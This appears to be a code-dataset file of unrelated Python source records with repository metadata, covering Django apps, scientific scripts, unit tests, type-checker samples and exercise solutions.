import unittest from buzz.corpus import Corpus class TestSearch(unittest.TestCase): @classmethod def setUpClass(cls): """ get_some_resource() is slow, to avoid calling it for each test use setUpClass() and store the result as class variable """ super().setUpClass() ...
[ "mcddjx@gmail.com" ]
mcddjx@gmail.com
de198265ca023fde36b1896bd7f7a3c4b83a552d
d94b6845aeeb412aac6850b70e22628bc84d1d6d
/bigg/bigg/torch_ops/tensor_ops.py
9f544ab7efd4d3e2c752d63f5d72056f16c23cef
[ "CC-BY-4.0", "Apache-2.0" ]
permissive
ishine/google-research
541aea114a68ced68736340e037fc0f8257d1ea2
c1ae273841592fce4c993bf35cdd0a6424e73da4
refs/heads/master
2023-06-08T23:02:25.502203
2023-05-31T01:00:56
2023-05-31T01:06:45
242,478,569
0
0
Apache-2.0
2020-06-23T01:55:11
2020-02-23T07:59:42
Jupyter Notebook
UTF-8
Python
false
false
3,956
py
# coding=utf-8 # Copyright 2023 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicab...
[ "copybara-worker@google.com" ]
copybara-worker@google.com
b7b026f7642d82363d9802fe0d817ba66118aad4
9e988c0dfbea15cd23a3de860cb0c88c3dcdbd97
/sdBs/AllRun/ec_11022-1357/sdB_EC_11022-1357_lc.py
350257c414f2078d50e83da141fccc17f22aa32c
[]
no_license
tboudreaux/SummerSTScICode
73b2e5839b10c0bf733808f4316d34be91c5a3bd
4dd1ffbb09e0a599257d21872f9d62b5420028b0
refs/heads/master
2021-01-20T18:07:44.723496
2016-08-08T16:49:53
2016-08-08T16:49:53
65,221,159
0
0
null
null
null
null
UTF-8
Python
false
false
351
py
from gPhoton.gAperture import gAperture def main(): gAperture(band="NUV", skypos=[166.190667,-14.236356], stepsz=30., csvfile="/data2/fleming/GPHOTON_OUTPU/LIGHTCURVES/sdBs/sdB_EC_11022-1357 /sdB_EC_11022-1357_lc.csv", maxgap=1000., overwrite=True, radius=0.00555556, annulus=[0.005972227,0.0103888972], verbose=3) if _...
[ "thomas@boudreauxmail.com" ]
thomas@boudreauxmail.com
0bd82e74ba3c6621cb7fa14b9f43311bc864df59
3a28b1a12d0710c06f6360381ad8be6cf3707907
/modular_model/triHPC/triHPCThermo/HPCAllTrays23CstmVapN2.py
b31256787ee26b7321199ab3098b7e3d1d66394a
[]
no_license
WheatZhang/DynamicModelling
6ce1d71d3b55176fd4d77a6aedbaf87e25ce4d02
ea099245135fe73e8c9590502b9c8b87768cb165
refs/heads/master
2020-06-15T14:12:50.373047
2019-07-05T01:37:06
2019-07-05T01:37:06
195,319,788
4
0
null
null
null
null
UTF-8
Python
false
false
307
py
def VapN2(P,T,x_N2): x = (P-5.50184878e+02)/3.71707400e-01 y = (T--1.77763832e+02)/1.81029000e-02 z = (x_N2-9.82420040e-01)/2.44481265e-03 output = \ 1*-8.60567815e-01+\ z*1.86073097e+00+\ y*8.60696199e-01+\ x*-4.21414345e-01 y_N2 = output*1.31412243e-03+9.90969573e-01 return y_N2
[ "1052632241@qq.com" ]
1052632241@qq.com
7a09c2d76104f8dd348cfb5c054d8ed6d565d3e1
b212ec9d705fb77cac102dceb12eb668099fd1ae
/oop/exams/december_2020/tests/project/spaceship/spaceship.py
0defe638ec725097b266e2afa6f7fdba3fb197b5
[]
no_license
xpucko/Software-University-SoftUni
20ef91a0be91a8a09a56d9fdc15888f91409de2f
a1fc1781424f025954948299be7f75d317e32dc1
refs/heads/master
2023-02-04T11:58:33.068431
2020-12-24T00:39:11
2020-12-24T00:39:11
280,227,310
2
2
null
null
null
null
UTF-8
Python
false
false
1,052
py
class Spaceship: SPACESHIP_FULL = "Spaceship is full" ASTRONAUT_EXISTS = "Astronaut {} Exists" ASTRONAUT_NOT_FOUND = "Astronaut Not Found" ASTRONAUT_ADD = "Added astronaut {}" ASTRONAUT_REMOVED = "Removed {}" ZERO_CAPACITY = 0 def __init__(self, name: str, capacity: int): self.name ...
[ "hristiyan.plamenov.valchev@gmail.com" ]
hristiyan.plamenov.valchev@gmail.com
a67b3be8bf770a11a0515a42fe9e37b479324764
297497957c531d81ba286bc91253fbbb78b4d8be
/testing/web-platform/tests/tools/manifest/utils.py
5cd53c22e7745bd3656dadd6940aa4d5f33f4f19
[ "LicenseRef-scancode-unknown-license-reference", "BSD-3-Clause" ]
permissive
marco-c/gecko-dev-comments-removed
7a9dd34045b07e6b22f0c636c0a836b9e639f9d3
61942784fb157763e65608e5a29b3729b0aa66fa
refs/heads/master
2023-08-09T18:55:25.895853
2023-08-01T00:40:39
2023-08-01T00:40:39
211,297,481
0
0
NOASSERTION
2019-09-29T01:27:49
2019-09-27T10:44:24
C++
UTF-8
Python
false
false
2,232
py
import os import subprocess import sys from typing import Any, Callable, Generic, Optional, Text, TypeVar T = TypeVar("T") def rel_path_to_url(rel_path: Text, url_base: Text = "/") -> Text: assert not os.path.isabs(rel_path), rel_path if url_base[0] != "/": url_base = "/" + url_base if url_base[-1...
[ "mcastelluccio@mozilla.com" ]
mcastelluccio@mozilla.com
c10025495e49e178e839ee495b8d2b7559ca3fc4
6b16458a0c80613a66c251511462e7a7d440970e
/packages/pyright-internal/src/tests/samples/variadicTypeVar5.py
8089b00a89ef9b4f7adfc12be8efb3939e34e3d4
[ "MIT", "LicenseRef-scancode-generic-cla" ]
permissive
ikamensh/pyright
3bbbb2cf1a1bdbbecb89ef389036756f47ef7114
5ea620ad2008de57dcac720a84674bdb712bffc4
refs/heads/main
2023-08-26T05:54:43.660282
2021-10-30T16:35:06
2021-10-30T16:35:06
422,952,836
0
0
NOASSERTION
2021-10-30T17:52:03
2021-10-30T17:52:02
null
UTF-8
Python
false
false
2,648
py
# This sample tests the handling of variadic type variables used # within Callable types. # pyright: reportMissingModuleSource=false from typing import Any, Callable, Literal, Protocol, Union from typing_extensions import TypeVarTuple, Unpack _Xs = TypeVarTuple("_Xs") def func1(func: Callable[[int, Unpack[_Xs]], A...
[ "erictr@microsoft.com" ]
erictr@microsoft.com
f8efb8796402968e0d65adeb58b5693319539a4e
ef60f1908dba8f3854148ad1395db43a23caa850
/libsystem/libsystem/wsgi.py
f884fcdd95b3300a8580e6a00c1f1d0ebd85e469
[]
no_license
Richardo3/libsystem
797403038e23778843fc7bc4146bc37eaaa11361
8f025a1bfd7e902b6871cac8ccbd85503de67990
refs/heads/master
2020-05-04T19:43:50.454937
2019-04-05T09:11:47
2019-04-05T09:11:47
179,405,561
0
0
null
null
null
null
UTF-8
Python
false
false
396
py
""" WSGI config for libsystem project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/1.11/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault("DJANGO_SE...
[ "xwp_fullstack@163.com" ]
xwp_fullstack@163.com
e87040c6a1bd846558f8c253422413cbb91f6f5f
161daf1046832d25e66858157f95eb226ecf7cdf
/Linear Regression/Single Variable Linear Regression Manually.py
6919d3f1af1bf449d416df7b20ca966b71574d64
[]
no_license
Dipeshpal/Machine-Learning
551552c0f5fc922aa6f9f5ec5d522db983ae6063
626516ef9f0d63a67a073eab4fc266fd6510e482
refs/heads/master
2022-07-05T22:19:38.050175
2019-07-10T09:05:31
2019-07-10T09:05:31
188,903,340
0
0
null
2022-06-21T22:05:10
2019-05-27T20:10:12
Python
UTF-8
Python
false
false
2,101
py
# Linear Regression # Import Libraries import numpy as np import pandas as pd import matplotlib.pyplot as plt import seaborn as sns # load dataset dataset = pd.read_csv('headbrain.csv') # dropping ALL duplicate values dataset.drop_duplicates(keep=False, inplace=True) print("Dataset head: ", dataset.head()) print("Da...
[ "dipeshpal17@gmail.com" ]
dipeshpal17@gmail.com
714834b479f46b3a9ea7d245e0736f11a96e7357
52efcaacf23e2345d09a1de61610a74df457057f
/auto_derby/__init__.py
7b72bc0d8b1659b8117b05e1211ef6877a5160d5
[ "MIT" ]
permissive
debi-derby/auto-derby
78bc726e8243c8a25ddc13b364b7289f322caaaa
c2e5c138125cac6dc13dbd74045161ca03f6e5cf
refs/heads/master
2023-09-03T09:03:35.305321
2021-11-02T16:18:45
2021-11-02T16:18:45
null
0
0
null
null
null
null
UTF-8
Python
false
false
55
py
from ._config import config from .plugin import Plugin
[ "NateScarlet@Gmail.com" ]
NateScarlet@Gmail.com
aeb178754d3e11d4c0785eac82d396cb1a9efc7e
c9ddbdb5678ba6e1c5c7e64adf2802ca16df778c
/cases/synthetic/prime-big-431.py
6dff84319c64e9671d5fbc210e23958e95c5317e
[]
no_license
Virtlink/ccbench-chocopy
c3f7f6af6349aff6503196f727ef89f210a1eac8
c7efae43bf32696ee2b2ee781bdfe4f7730dec3f
refs/heads/main
2023-04-07T15:07:12.464038
2022-02-03T15:42:39
2022-02-03T15:42:39
451,969,776
0
0
null
null
null
null
UTF-8
Python
false
false
1,705
py
# Get the n-th prime starting from 2 def get_prime(n:int) -> int: candidate:int = 2 found:int = 0 while True: if is_prime(candidate): found = found + 1 if found == n: return candidate candidate = candidate + 1 return 0 # Never happens def is_prime...
[ "647530+Virtlink@users.noreply.github.com" ]
647530+Virtlink@users.noreply.github.com
6cd6e5909a0368323c8af0e4fa9a44957c2f0f36
5636cb0c282d03e91a830d30cec3bd54c225bd3b
/P_05_AlgorithmiqueProgrammation/03_Tris/TD_01_Bulles/programmes/tri_bulles.py
3cb89b551a595d40d3e8a838803994b50a2c38c8
[]
no_license
xpessoles/Informatique
24d4d05e871f0ac66b112eee6c51cfa6c78aea05
3cb4183647dc21e3acbcbe0231553a00e41e4e55
refs/heads/master
2023-08-30T21:10:56.788526
2021-01-26T20:57:51
2021-01-26T20:57:51
375,464,331
2
0
null
null
null
null
UTF-8
Python
false
false
508
py
import random def tri_bulles_naif(l): for i in range(0,len(l)-1): for j in range(0,len(l)-1): if l[j]>l[j+1]: l[j],l[j+1]=l[j+1],l[j] def tri_bulles(l): for i in range(0,len(l)-1): for j in range(0,len(l)-i-1): if l[j]>l[j+1]: l[j],l[j...
[ "xpessoles.ptsi@free.fr" ]
xpessoles.ptsi@free.fr
1085ba45a8f735ea9ea5fa371a548f5de125ee1a
781e2692049e87a4256320c76e82a19be257a05d
/all_data/exercism_data/python/leap/a3b8b55879a04bce804d9c199db55772.py
c6ce2afde394c9c920e45ec48d6cd4dde93f53ae
[]
no_license
itsolutionscorp/AutoStyle-Clustering
54bde86fe6dbad35b568b38cfcb14c5ffaab51b0
be0e2f635a7558f56c61bc0b36c6146b01d1e6e6
refs/heads/master
2020-12-11T07:27:19.291038
2016-03-16T03:18:00
2016-03-16T03:18:42
59,454,921
4
0
null
2016-05-23T05:40:56
2016-05-23T05:40:56
null
UTF-8
Python
false
false
416
py
__author__ = 'Ben' # on every year that is evenly divisible by 4 # except every year that is evenly divisible by 100 # unless the year is also evenly divisible by 400 def is_leap_year(year): if year % 4 == 0 and year % 100 == 0 and year % 400 == 0: return True if year % 4 == 0 and year % 100 == 0...
[ "rrc@berkeley.edu" ]
rrc@berkeley.edu
feaa11ac9c9654dcac5b82c4723fcf59931647f2
ce60f76c6ad4c48fd6182240b302ee057809cc66
/extra/jobqueue/dispatcher.py
a9f043e8fc7ee4f9dd606e8201f33c3083a2c6dd
[ "MIT", "LicenseRef-scancode-public-domain" ]
permissive
bumps/bumps
8ae10e8d15c0aa64e0bab6e00e7fabb2ca1b0860
2594e69567d534b434dc0eae727b77fdeff411d4
refs/heads/master
2023-08-22T17:56:49.987181
2023-07-26T14:22:23
2023-07-26T14:22:23
2,799,064
48
28
NOASSERTION
2023-07-26T14:22:24
2011-11-17T22:22:02
Python
UTF-8
Python
false
false
6,471
py
from datetime import datetime, timedelta import logging from sqlalchemy import and_, or_, func, select from sqlalchemy.exc import IntegrityError from sqlalchemy.orm.exc import NoResultFound from . import runjob, store, db, notify from .db import Job, ActiveJob class Scheduler(object): def __init__(self): ...
[ "paul.kienzle@nist.gov" ]
paul.kienzle@nist.gov
eebbab8cc0fe982d9573dbef8fc19af5181a7c48
9b77f1e31d5901924431a2a3164312cc346bde4f
/ADI_MINI_PROJECT/blog/views.py
77aca8b4054fcba1c1dd859c800aa3a307556c0c
[]
no_license
Adi19471/Djnago_Code-Daily
c2184bf21db5c8d4b3c4098fbd593e4949375ae8
03b1b70d3e187fe85eb24e88b7ef3391b14aa98c
refs/heads/master
2023-08-14T14:36:36.144243
2021-09-20T12:52:46
2021-09-20T12:52:46
375,690,484
0
0
null
null
null
null
UTF-8
Python
false
false
3,673
py
from django.shortcuts import render,HttpResponseRedirect from .forms import SignupForm,LoginForm,PostForm from django.contrib import messages from django.contrib.auth import authenticate,login,logout from .models import Post # home page def home(request): posts = Post.objects.all() return render(request, ...
[ "akumatha@gmail.com" ]
akumatha@gmail.com
3184b1daec047b0a000f90524e73ffa75afdad91
acb8e84e3b9c987fcab341f799f41d5a5ec4d587
/langs/4/k3t.py
9810316e4d55d2272be6a2e8490993ef2354650e
[]
no_license
G4te-Keep3r/HowdyHackers
46bfad63eafe5ac515da363e1c75fa6f4b9bca32
fb6d391aaecb60ab5c4650d4ae2ddd599fd85db2
refs/heads/master
2020-08-01T12:08:10.782018
2016-11-13T20:45:50
2016-11-13T20:45:50
73,624,224
0
1
null
null
null
null
UTF-8
Python
false
false
486
py
import sys def printFunction(lineRemaining): if lineRemaining[0] == '"' and lineRemaining[-1] == '"': if len(lineRemaining) > 2: #data to print lineRemaining = lineRemaining[1:-1] print ' '.join(lineRemaining) else: print def main(fileName): with open(fileName) as f: for line in f: ...
[ "juliettaylorswift@gmail.com" ]
juliettaylorswift@gmail.com
35a9a876dc10d8de63623e6d3d37890bb3842900
bea3febeda4c0688dfbb2db584ab4f7d710040e0
/django/cbv/person/views.py
c954514b57714390b9b1210f810dd5c51ab31499
[]
no_license
airpong/TIL-c9
c471ac73e23716cf677ba590dd6099e584c42883
069cc53820a09cd9787765ad41ba7e792dc342b5
refs/heads/master
2022-12-12T22:26:23.147651
2019-06-27T08:24:44
2019-06-27T08:24:44
166,777,129
0
0
null
2022-11-22T03:46:57
2019-01-21T08:34:01
Python
UTF-8
Python
false
false
999
py
from django.shortcuts import render,redirect from .models import Person from .forms import PersonForm from django.views.generic import ListView,CreateView from django.contrib.auth.mixins import LoginRequiredMixin # Create your views here. # def list(request): # people = Person.objects.all() # return render(requ...
[ "giponge@gmail.com" ]
giponge@gmail.com
1bea9bc3616fe721a74dbcd53630aec212558032
8420f7c680f1b3b66d7f903b9986fdd533ce63d9
/examples/example_05_custom_parameter.py
ac1416041fcbbc99d18abbfcf8370ba211ebd2c4
[ "BSD-3-Clause" ]
permissive
ilonajulczuk/pypet
9cef890cc856a769441aef983e4367fee56d1d12
99dd37243c30178d3dc02798dcc6aa9320b6c213
refs/heads/master
2020-12-26T11:21:16.691896
2014-04-16T07:53:37
2014-04-16T07:53:37
null
0
0
null
null
null
null
UTF-8
Python
false
false
10,240
py
__author__ = 'Robert Meyer' import numpy as np import inspect from pypet.environment import Environment from pypet.parameter import Parameter, ArrayParameter from pypet.trajectory import Trajectory import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D # Here we will see how we can write our own cus...
[ "robert.meyer@ni.tu-berlin.de" ]
robert.meyer@ni.tu-berlin.de
18f7fd778281764630b6d87c06f297330644c9a1
7bededcada9271d92f34da6dae7088f3faf61c02
/pypureclient/flasharray/FA_2_17/models/reference_with_type.py
686da10b71d57d6ece1d116f5a7668ce8c35aa23
[ "BSD-2-Clause" ]
permissive
PureStorage-OpenConnect/py-pure-client
a5348c6a153f8c809d6e3cf734d95d6946c5f659
7e3c3ec1d639fb004627e94d3d63a6fdc141ae1e
refs/heads/master
2023-09-04T10:59:03.009972
2023-08-25T07:40:41
2023-08-25T07:40:41
160,391,444
18
29
BSD-2-Clause
2023-09-08T09:08:30
2018-12-04T17:02:51
Python
UTF-8
Python
false
false
4,557
py
# coding: utf-8 """ FlashArray REST API No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) OpenAPI spec version: 2.17 Generated by: https://github.com/swagger-api/swagger-codegen.git """ import pprint import re import six import typing from ...
[ "noreply@github.com" ]
PureStorage-OpenConnect.noreply@github.com
0f7ec680721030d047f06b1b94341a7c982454b5
402ef712e2d98bb616e64eb7d57145a643ad61d7
/backend/mobile_testing_app__15569/wsgi.py
7832e8909382ddeb029a4fbf984861ab927942fb
[]
no_license
crowdbotics-apps/mobile-testing-app--15569
ce5299c1dc7b5ebf531043dbe7614c7206880ce0
5c6e5f045a9ba80592e81584ac7c88ea53eabdfa
refs/heads/master
2023-01-24T21:54:07.548231
2020-11-24T06:01:05
2020-11-24T06:01:05
315,533,722
0
0
null
null
null
null
UTF-8
Python
false
false
427
py
""" WSGI config for mobile_testing_app__15569 project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/2.2/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdef...
[ "team@crowdbotics.com" ]
team@crowdbotics.com
235f40b873b377065055784a18c708cd33c11a20
dbdb9b2102b25808f0363d50ff85626921b1c70a
/rest_api_3_product/settings.py
baee96ac579b1af253e75334bad35faaa15bf71c
[]
no_license
vinodkumar96/rest_api_3_product
dee834e704c25c812ba94a682641ab7f9bcabd44
b0be03b80d7b59ef4d81e02f977c5ed1df862709
refs/heads/master
2020-07-04T20:38:15.552542
2019-08-14T19:08:09
2019-08-14T19:08:09
202,409,475
0
0
null
null
null
null
UTF-8
Python
false
false
3,242
py
""" Django settings for rest_api_3_product project. Generated by 'django-admin startproject' using Django 2.2.4. For more information on this file, see https://docs.djangoproject.com/en/2.2/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.2/ref/settings/ """ i...
[ "vinodkumaryv96@gmail.com" ]
vinodkumaryv96@gmail.com
adbd9301b5bda91c278b06fb2830f00b52df2ea7
a3c970cb385cb4c6e2122b3c096f61ceb37b3acd
/defence/.history/dashboard/do_views_20191211183052.py
90e0aa9f0297d160ed8d425b8692c054943d6df7
[]
no_license
kirubasuba/certa
ec7cd06352ff9c477236afcead89daf9a28943bc
111f2bdfd2626475951f5f86746f04f5fd42ded4
refs/heads/master
2022-12-14T03:44:20.207843
2020-05-19T12:36:15
2020-05-19T12:36:15
212,568,163
0
0
null
2022-11-22T04:41:30
2019-10-03T11:56:13
Python
UTF-8
Python
false
false
29,600
py
from django.shortcuts import render from django.contrib.auth.decorators import login_required from django.conf import settings from django.contrib.auth.models import User,Group from .forms import UserCreationForm,TAapplicationForm,cemilacUserForm,proforma_A_form,commentsUploadForm from django.contrib import messages fr...
[ "30341216+kirubasuba@users.noreply.github.com" ]
30341216+kirubasuba@users.noreply.github.com
b03de72493e2c78c1000ad28f82b270dba2b5ebb
f13acd0d707ea9ab0d2f2f010717b35adcee142f
/Others/soundhound/soundhound2018-summer-qual/c.py
b42363ae9f79c07d25224a6872610f1bc11e50c0
[ "CC0-1.0", "LicenseRef-scancode-public-domain" ]
permissive
KATO-Hiro/AtCoder
126b9fe89fa3a7cffcbd1c29d42394e7d02fa7c7
bf43320bc1af606bfbd23c610b3432cddd1806b9
refs/heads/master
2023-08-18T20:06:42.876863
2023-08-17T23:45:21
2023-08-17T23:45:21
121,067,516
4
0
CC0-1.0
2023-09-14T21:59:38
2018-02-11T00:32:45
Python
UTF-8
Python
false
false
797
py
# -*- coding: utf-8 -*- def main(): n, m, d = map(int, input().split()) # KeyInsight # 期待値の線形性 # See: # https://img.atcoder.jp/soundhound2018-summer-qual/editorial.pdf # https://mathtrain.jp/expectation # 気がつけた点 # 愚直解を書き出した # 隣り合う2項がm - 1通りある # 解答までのギャップ ...
[ "k.hiro1818@gmail.com" ]
k.hiro1818@gmail.com
579b09ba8c6ea43f5b254fc7bfcff355538a029b
aa369073fab4f8e13ac27a714fe0d975a5a4a9ed
/algorithms/contextlib/contextlib_decorator.py
e31081404750566ee6b97aecadeb90d4fa43ebe0
[]
no_license
ramsayleung/python3-module-of-week
4076599a8b1d8aa5794de5d73e2083555abe9f0c
54266c7e62025c3816a6987191c40f3bc0fdd97c
refs/heads/master
2021-06-18T09:07:30.256614
2017-06-25T10:14:54
2017-06-25T10:14:54
null
0
0
null
null
null
null
UTF-8
Python
false
false
583
py
import contextlib class Context(contextlib.ContextDecorator): def __init__(self, how_used): self.how_used = how_used print('__init__({})'.format(how_used)) def __enter__(self): print('__enter__({})'.format(self.how_used)) return self def __exit__(self, exc_type, exc_val,...
[ "samrayleung@gmail.com" ]
samrayleung@gmail.com
234dd1f7bc842aa839543c69dc1229e4cbfc4ef0
299e2c985b4a2921b150579955e7c60eee094397
/news/migrations/0006_auto_20190628_1447.py
9bd54a81c13dcf49ebf7819d2ee21928410fb2e4
[ "MIT" ]
permissive
Nigar-mr/News
48d58fbaab0f2bb8cc717323449d7eba14b94918
b75b78cc9fa64259f4239b1d456daa5224040ce4
refs/heads/master
2020-06-17T15:20:05.411391
2019-07-09T08:21:24
2019-07-09T08:21:24
195,961,863
0
0
null
null
null
null
UTF-8
Python
false
false
407
py
# Generated by Django 2.2.2 on 2019-06-28 10:47 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('news', '0005_remove_headermodel_dropdown'), ] operations = [ migrations.AlterField( model_name='headermodel', name='...
[ "nigar-muradli@mail.ru" ]
nigar-muradli@mail.ru
4be510286a64309365e96715a1c1baddce168127
24fe1f54fee3a3df952ca26cce839cc18124357a
/servicegraph/lib/python2.7/site-packages/acimodel-4.0_3d-py2.7.egg/cobra/modelimpl/comp/accessp.py
6214ab713e8f774ee7c5499f70f913487eac8f0d
[]
no_license
aperiyed/servicegraph-cloudcenter
4b8dc9e776f6814cf07fe966fbd4a3481d0f45ff
9eb7975f2f6835e1c0528563a771526896306392
refs/heads/master
2023-05-10T17:27:18.022381
2020-01-20T09:18:28
2020-01-20T09:18:28
235,065,676
0
0
null
2023-05-01T21:19:14
2020-01-20T09:36:37
Python
UTF-8
Python
false
false
5,062
py
# coding=UTF-8 # ********************************************************************** # Copyright (c) 2013-2019 Cisco Systems, Inc. All rights reserved # written by zen warriors, do not modify! # ********************************************************************** from cobra.mit.meta import ClassMeta from cobra.m...
[ "rrishike@cisco.com" ]
rrishike@cisco.com
9e03554339fbf11a977d749579273a5308ebe17c
0ba1743e9f865a023f72a14d3a5c16b99ee7f138
/problems/test_0413_dp.py
b94b4a4005613d47a4b97b5eda809a2ed0f42f15
[ "Unlicense" ]
permissive
chrisxue815/leetcode_python
d0a38a4168243b0628256825581a6df1b673855c
a33eb7b833f6998972e5340d383443f3a2ee64e3
refs/heads/main
2022-06-20T15:09:27.221807
2022-06-02T21:55:35
2022-06-02T21:55:35
94,590,264
1
0
null
null
null
null
UTF-8
Python
false
false
997
py
import unittest import utils # O(n^2) time. O(n) space. DP. class Solution: def numberOfArithmeticSlices(self, a): """ :type a: List[int] :rtype: int """ # Common difference dp = [0] * len(a) result = 0 for p in range(len(a) - 1): q = p ...
[ "chrisxue815@gmail.com" ]
chrisxue815@gmail.com
15779835a64dfa759bd9410bf9661ec5cf78f3aa
9a1538123b8abec14410dad46c437cf735684dd9
/product/migrations/0018_productproperty_value_type.py
48a0a691e24e11ea5cedf4a2158c7c000f223fd6
[]
no_license
asmuratbek/zastroy24
deec6bd65229aeb29eb313d915c6c47ca036a8aa
d68ce21beefc644752a1271a4d8981cd2423afba
refs/heads/master
2020-04-27T18:44:26.845151
2019-03-08T18:09:13
2019-03-08T18:09:13
174,585,168
0
0
null
null
null
null
UTF-8
Python
false
false
662
py
# -*- coding: utf-8 -*- # Generated by Django 1.11 on 2017-12-24 09:41 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('product', '0017_auto_20171224_1536'), ] operations = [ migrations.AddField( ...
[ "asmuratbek@gmail.com" ]
asmuratbek@gmail.com
7ea4348e0388b427adcc0d1d2c31b06df0550e19
023acc1445ebde3e9fe4318fcfd60908c91d74d5
/sli/train.py
77fdce51b077a71a4dc73a1c298f924c963fc9d0
[]
no_license
counterfactuals/sensible-local-interpretations
99d22df59a6f07b6135762eec57c29e80dac9cdf
ab7af07299ea2ec1a1be28e0bf38f4947321d04c
refs/heads/master
2022-03-12T11:30:19.296104
2019-12-02T20:31:27
2019-12-02T20:31:27
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,828
py
from copy import deepcopy import numpy as np from sklearn.neural_network import MLPClassifier, MLPRegressor from sklearn.linear_model import LogisticRegression, LinearRegression from sklearn.ensemble import RandomForestClassifier, RandomForestRegressor, GradientBoostingClassifier from sklearn.tree import export_graphvi...
[ "chandan_singh@berkeley.edu" ]
chandan_singh@berkeley.edu
cc2b9367dcb75a3613b7456a24d7379ffed94e1f
23daf97312ea16cc399feedfa048131d564b83fa
/lib/BluenetLib/lib/core/bluetooth_delegates/AioScanner.py
1bdc096e712664a077ca209d4d5155cfeaf19041
[]
no_license
wickyb94/programmer
6e2cafa3fbb9f54bfdcd24f7062f6425ebb429fc
be0f01586365a79b51af8c4da376fe216d38afba
refs/heads/master
2022-04-09T17:52:18.106331
2020-03-02T15:57:02
2020-03-02T15:57:02
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,569
py
import asyncio import sys import time import aioblescan from BluenetLib.lib.util.LogUtil import tfs counter = 0 prev = time.time() start = time.time() class AioScanner: def __init__(self, hciIndex = 0): self.event_loop = None self.bluetoothControl = None self.connection = None ...
[ "alexdemulder@gmail.com" ]
alexdemulder@gmail.com
96fd2bd857643c663092d384cf8ec78d6b61a6cf
fb0f6646b2a7972454453907fbdc656b7471f55f
/p322_module_os.py
dd9437674eb42016e5d93c9c80fd0ac56ab764e7
[]
no_license
woojin97318/python_basic
6497d5c85369746edfe8ca79ad7f3f47c871ee66
97e9a322a08f1483bf35dc03507ac36af2bf1ddb
refs/heads/master
2023-07-15T03:06:05.716623
2021-08-25T03:46:48
2021-08-25T03:46:48
399,681,125
0
0
null
null
null
null
UTF-8
Python
false
false
619
py
# 모듈을 읽어 들입니다. import os # 기본 정보를 몇개 출력해 봅시다. print("현재 운영체제:", os.name) print("현재 폴더:", os.getcwd()) print("현재 폴더 내부의 요소:", os.listdir()) # 폴더를 만들고 제거합니다.[폴더가 비어있을 때만 제거 가능] os.mkdir("hello") os.rmdir("hello") # 파일을 생성하고 + 파일 이름을 변경합니다. with open("original.txt", "w") as file: file.write("hello") os.rename("orig...
[ "woojin97318@naver.com" ]
woojin97318@naver.com
44b780296f882a1446213f64764a325db1448200
850001831b1fcdd4d27e328b356fc34909ca2917
/examples/spawn.py
367e288dfa2b65a8b6bb4a47c0514b8b5cd14e4f
[ "BSD-3-Clause" ]
permissive
yidiq7/pathos
b337353ccfe447866c46a4a784a7908c2f3fe31e
7e4fef911dc0283e245189df4683eea65bfd90f0
refs/heads/master
2022-08-24T08:43:34.009115
2020-05-27T12:18:21
2020-05-27T12:18:21
267,310,390
0
0
NOASSERTION
2020-05-27T12:14:50
2020-05-27T12:14:47
null
UTF-8
Python
false
false
957
py
#!/usr/bin/env python # # Author: Mike McKerns (mmckerns @caltech and @uqfoundation) # Copyright (c) 1997-2016 California Institute of Technology. # Copyright (c) 2016-2020 The Uncertainty Quantification Foundation. # License: 3-clause BSD. The full license text is available at: # - https://github.com/uqfoundation/pa...
[ "mmckerns@8bfda07e-5b16-0410-ab1d-fd04ec2748df" ]
mmckerns@8bfda07e-5b16-0410-ab1d-fd04ec2748df
6da151561ebdbcbd2e1ef59f98ad58c5ba0e4fdd
9b1da04d8c66b8fb429120c902e4022506a05f5a
/apc_pcl/pysrc/apc_tools/__init__.py
a4d7113fa1bb4ff799cd3927888c039cacc468a9
[]
no_license
ehuang3/apc_ros
49533b7c6ec9a13d45914b0c252c88c7413731a7
050871ec3e85c53fe1b0e4612abbbfa07db75f59
refs/heads/master
2021-01-10T12:30:49.700225
2015-05-27T03:41:20
2015-05-27T03:41:20
36,998,288
4
0
null
null
null
null
UTF-8
Python
false
false
95
py
from .bin_segmenter import Bin_Segmenter from .utils import * from .misc import load_background
[ "jpanikulam@ufl.edu" ]
jpanikulam@ufl.edu
daa82ba337e7c7ea48f602e231247e8415e0c3dc
805fbd9aead4fc2998fd5d8790043a20b2656915
/data_format/__init__.py
cb3c33b9d09bcf03a38af8f8bdd84bd066689fa1
[]
no_license
chenhaomingbob/ToolBox
f9a6ef64352c85ae84c44e9fab53aab74992c7c5
962304c004aa39e8a5bcb153def9dc3895595c9f
refs/heads/master
2021-05-19T00:37:23.170766
2020-06-01T10:57:05
2020-06-01T10:57:05
251,496,830
0
0
null
null
null
null
UTF-8
Python
false
false
145
py
#!/usr/bin/python # -*- coding:utf8 -*- """ Author: Haoming Chen E-mail: chenhaomingbob@163.com Time: 2020/03/23 Description: """
[ "chenhaomingbob@163.com" ]
chenhaomingbob@163.com
d3743b3de00d52481bf2c74a20fb31405afce4c4
fb81442e5d2e940ad967bd0a264b7918d739173f
/py_test.py
49e8b365b34d93965925230a57e83abad11d1008
[]
no_license
Amertz08/euler_py
054f45d110b8cf4d0e9afeb7f5c608026226443c
0dd217c9e0a061e3622fd150b61e24a2c6bad5af
refs/heads/master
2021-05-06T23:15:42.742578
2017-12-07T00:16:31
2017-12-07T00:16:31
112,960,695
0
1
null
2017-12-06T20:32:57
2017-12-03T20:21:48
C
UTF-8
Python
false
false
515
py
import euler_py as eul def test_problem_one(): result = eul.problem_one(10) assert result == 23, f'Problem 1 should be 23: {result}' def test_problem_two(): result = eul.problem_two(89) assert result == 44, f'Problem 2 should be 44: {result}' def test_problem_three(): result = eul.problem_thre...
[ "adammertz@gmail.com" ]
adammertz@gmail.com
516373953da84479aba9b11e0bae3dbf7d26ccf5
